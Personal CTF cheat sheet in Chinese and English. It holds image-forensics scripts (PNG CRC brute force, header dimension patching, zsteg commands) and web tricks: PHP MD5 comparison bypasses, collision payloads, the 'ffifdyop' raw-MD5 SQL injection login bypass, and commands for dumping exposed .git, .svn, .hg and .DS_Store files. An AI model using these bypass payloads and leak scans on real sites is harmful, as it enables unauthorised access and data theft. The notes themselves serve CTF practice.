mysql contains flag
import pytesseract
from PIL import Image
pytesseract.pytesseract.tesseract_cmd = r'D:\工具\Tesseract-OCR--图片识别\tesseract.exe'
tessdata_dir_config = r'--tessdata-dir "D:\工具\Tesseract-OCR--图片识别\tessdata"'
image = Image.open(r"D:\misc1.png")
code = pytesseract.image_to_string(image, config=tessdata_dir_config)
print(code)
import struct
import binascii
import os
m = open(r"C:/Users/Lenovo/Desktop/misc33.png", "rb").read()
k = 0
for i in range(5000):
if k == 1:
break
for j in range(5000):
c = m[12:16] + struct.pack('>i', i) + struct.pack('>i', j)+m[24:29]
crc = binascii.crc32(c) & 0xffffffff
if crc == 0x5255a798:
k = 1
print(hex(i), hex(j))
break
import zlib
import struct
filename = "C:/Users/Lenovo/Desktop/misc35.jpg"
with open(filename, 'rb') as f:
all_b = f.read()
#w = all_b[159:161]
#h = all_b[157:159]
for i in range(920,950):
#901-1200
name = str(i) + ".jpg"
f1 = open(name,"wb")
im = all_b[:159]+struct.pack('>h',i)+all_b[161:]
f1.write(im)
f1.close()
png
import zlib
import struct
filename = "C:/Users/Lenovo/Desktop/misc34.png"
with open(filename, 'rb') as f:
all_b = f.read()
#w = all_b[16:20]
#h = all_b[20:24]
for i in range(1100,1200):
# 901-1200
name = str(i) + ".png"
f1 = open(name,"wb")
im = all_b[:16]+struct.pack('>i',i)+all_b[20:]
f1.write(im)
f1.close()
gif
import zlib
import struct
filename = "misc36.gif"
with open(filename, 'rb') as f:
all_b = f.read()
for i in range(920,951):
name = str(i) + ".gif"
f1 = open(name,"wb")
im = all_b[:38]+struct.pack('>h',i)[::-1]+all_b[40:]
f1.write(im)
f1.close()
identify -format "%T " misc39.gif > 1.txt
查看lsb
zsteg xxx.bmp
zsteg xxx.png
zsteg -a (文件名) #查看各个通道的lsb
检测zlib
#-b的位数是从1开始的
zsteg zlib.bmp -b 1 -o xy -v
懒人专属
zsteg 1.png --all
分离文件
zsteg -e extradata:0 misc17.png >1.txt
MD5
md5('QNKCDZO') == md5(240610708)//
MD5加密后会变成这个样子
0e830400451993494058024219903391 == 0e462097431906509019562988736854
md5(a[]=1) === md5(b[]=1)// null===null
a=%5Eq%FEO%AF%81-%1EW%99%0B%94W%EB%1F%84%13g%A0%A4%3A%08p%90%18%FAA%D644%C7W%0B%C2%ED%D0%D8%00%D8%DB%8B%C2%EBY%AE7%E9u%12b%F1%13%D8ce%7C%5D%01%CBiW5%0D%B4%BEm%ECR%EE%7B%83%0E%C9%25%80%AB%A9%09E%7DT%D2%94%98%C3%13%B3%DC%1A%9D%A6%27J%8B%1D%DD%05%E0%3A%88%D4%97%B4%A5%3E%17%15%9A%96P%B6%FE%E2%7C%16%05%9F%C9ceR%948tok%B8%98
&b=%5Eq%FEO%AF%81-%1EW%99%0B%94W%EB%1F%84%13g%A0%24%3A%08p%90%18%FAA%D644%C7W%0B%C2%ED%D0%D8%00%D8%DB%8B%C2%EBY%AE%B7%E9u%12b%F1%13%D8ce%7C%5D%01%CB%E9W5%0D%B4%BEm%ECR%EE%7B%83%0E%C9%25%80%AB%A9%09E%7DT%D2%94%18%C3%13%B3%DC%1A%9D%A6%27J%8B%1D%DD%05%E0%3A%88%D4%97%B4%A5%3E%17%15%9A%96%D0%B5%FE%E2%7C%16%05%9F%C9ceR%948%F4ok%B8%98
ffifdyop 的MD5加密结果是 276f722736c95d99e921722cf9ed621c
经过MySQL编码后会变成'or'6xxx,使SQL恒成立,相当于万能密码,可以绕过md5()函数的加密
跳转新的页面可以抓包 也可以cmd直接执行curl -v 新网址
www.zip
程序员使用vim编辑器编写一个index.php文件时,会有一个.index.php.swp文件,如果文件正常退出,则该文件被删除,如果异常退出,该文件则会保存下来,该文件可以用来恢复异常退出的index.php,同时多次意外退出并不会覆盖旧的.swp文件,而是会生成一个新的,例如.swo文件。
以 index.php 为例 第一次产生的缓存文件名为 .index.php.swp
第二次意外退出后,文件名为.index.php.swo
第三次产生的缓存文件则为 .index.php.swn
注意:index前有 “ . “
url/.git/index.php
能扫描到
http://url/.git/
http://url/.git/config
利用GitHack进行信息读取:
python GitHack.py http://url/.git/
或者dvcs-ripper
rip-git.pl -v -u http://url/.git
http://url/.hg/
dvcs-ripper
rip-hg.pl -v -u http://url/.hg
url/.svn
能扫到以下目录
http://url/.svn/entries
dvcs-ripper
rip-svn.pl -v -u http://www.example.com/.svn/
http://url/.bzr/
dvcs-ripper
rip-bzr.pl -v -u http://www.example.com/.bzr/
http://url/CVS/Root 返回根信息
http://url/CVS/Entries 返回所有文件的结构
dvcs-ripper
rip-cvs.pl -v -u http://www.example.com/CVS/
http://url/.DS_Store
dsstoreexp
python ds_store_exp.py http://url/.DS_Store
https://github.com/[email protected]&type=code
url/robots.txt
url/index.phps
url/tz.php
找phpinfo
url/backup.sql
url/db/db.mdb